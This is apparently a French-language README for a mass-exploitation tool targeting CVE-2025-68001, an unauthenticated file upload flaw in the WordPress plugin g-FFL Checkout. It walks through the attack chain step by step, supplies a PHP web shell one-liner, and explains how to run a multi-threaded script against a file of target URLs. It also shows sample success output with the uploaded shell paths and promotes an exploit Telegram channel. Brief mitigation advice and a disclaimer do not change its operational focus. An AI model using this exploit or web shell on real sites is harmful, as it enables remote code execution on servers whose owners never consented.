
Le plugin WordPress g-FFL Checkout <= 2.1.0 est vulnérable à un téléversement arbitraire de fichiers à haute priorité.
Le plugin WordPress g-FFL Checkout <= 2.1.0 est vulnérable à un téléversement arbitraire de fichiers de haute priorité.
_ _ _ _ _ _ _ _ _ _
/ \ / |_ __ ) / \ ) |_ __ |_ (_) / \ / \ /|
\_ \/ |_ /_ \_/ /_ _) |_) (_) \_/ \_/ |
📡 Gardez une longueur d'avance. Rejoignez @KNxploited sur Telegram — votre source exclusive des dernières CVE, zero-days et recherches d'exploits de pointe. Mise à jour constante. Pas pour tout le monde.
CVE-2025-68001 est une vulnérabilité critique de téléversement arbitraire de fichiers sans authentification découverte dans le plugin WordPress g-FFL Checkout par garidium.
La vulnérabilité permet à un attaquant distant non authentifié de téléverser des fichiers arbitraires — y compris des web shells — sur le serveur cible via l'action AJAX ffl_upload_document, menant à une exécution de code à distance (RCE) complète.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2025-68001 |
| Plugin | g-FFL Checkout (g-ffl-checkout) |
| Versions affectées | n/a jusqu'à <= 2.1.0 |
| Type de vulnérabilité | Téléversement de fichier sans restriction |
| Impact | Exécution de code à distance (RCE) |
| Authentification | Non requise |
| Sévérité CVSS | Critique |
| Chercheur | Nxploited |
L'exploit suit une chaîne d'attaque précise en plusieurs étapes :
1. GET /checkout
↓
Extract `checkout_nonce` from inline JavaScript data
2. POST /wp-admin/admin-ajax.php
action=ffl_upload_document
nonce=<extracted_nonce>
document_type=document
document=<shell.php disguised as image/png>
↓
Server stores the file without extension or MIME validation
3. Parse JSON response
↓
Extract uploaded file path / unique filename
4. Access uploaded shell via HTTP
↓
Remote Code Execution achieved ✔️
Le plugin expose un point de terminaison AJAX ffl_upload_document qui :
Installez toutes les dépendances avant l'exécution :
pip install requests rich
| Dépendance | Utilité |
|---|---|
requests | Requêtes HTTP et gestion de session |
rich | Interface terminal, barres de progression, panneaux |
threading | Traitement multi-thread des cibles |
Python 3.8+ est requis.
CVE-2025-68001/
├── CVE-2025-68001.py # Main exploit script
├── shell.php # Web shell to upload (you provide this)
├── list.txt # Target URLs (one per line)
└── success_results.txt # Auto-generated results output
Créez un fichier list.txt avec une URL cible par ligne :
https://target1.com
https://target2.com
http://target3.com/wordpress
Le script ajoute automatiquement
http://si aucun schéma n'est fourni.
Placez votre web shell PHP dans le même répertoire. Exemple de shell minimal :
<?php system($_GET['cmd']); ?>
Enregistrez-le sous shell.php (ou tout autre nom — il vous sera demandé de le saisir).
python CVE-2025-68001.py
Une invite interactive vous demandera :
Enter targets file name (default: list.txt):
> list.txt
Enter shell file name to upload (default: shell.php):
> shell.php
Enter number of threads (default: 50):
> 20
Les exploits réussis sont automatiquement enregistrés dans success_results.txt :
https://target.com | /wp-content/uploads/ffl/abc123.php | abc123.php | shell.php
Chaque ligne contient :
| Invite | Défaut | Description |
|---|---|---|
| Fichier de cibles | list.txt | Fichier contenant les URL cibles |
| Fichier shell | shell.php | Shell PHP à téléverser vers la cible |
| Nombre de threads | 50 | Workers simultanés (max : 50) |
✔ https://victim.com — /checkout reachable. Trying exploit...
┌─────────────────────────────────────────────────────┐
│ Success │
│ https://victim.com │
│ Original Name: shell.php │
│ Unique Name: a7f3c1d9e.php │
│ Stored Path: /wp-content/uploads/ffl/a7f3c1.php │
└─────────────────────────────────────────────────────┘
All targets processed ✔️. Results saved to: success_results.txt
La vulnérabilité réside dans le gestionnaire AJAX du plugin enregistré sans vérification de capacités :
// No authentication or capability check
add_action('wp_ajax_nopriv_ffl_upload_document', 'ffl_upload_document');
function ffl_upload_document() {
// Nonce verified from /checkout page (publicly accessible)
// No MIME type validation
// No extension whitelist/blacklist
move_uploaded_file($_FILES['document']['tmp_name'], $upload_path);
wp_send_json_success(['file_path' => $upload_path]);
}
Si vous êtes propriétaire de site ou développeur, prenez immédiatement les mesures suivantes :
g-ffl-checkout vers une version corrigée (> 2.1.0) si elle est disponible.htaccess).php suspectsTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL AND AUTHORIZED
SECURITY RESEARCH PURPOSES ONLY.
By using this script, you explicitly agree to the following:
• You have EXPLICIT written permission from the target system owner.
• You are operating in a controlled lab or authorized penetration testing engagement.
• You will NOT use this tool against any system you do not own or have legal
authorization to test.
• The author (Nxploited) holds ZERO liability for any damage, data loss,
legal consequences, or misuse resulting from this tool.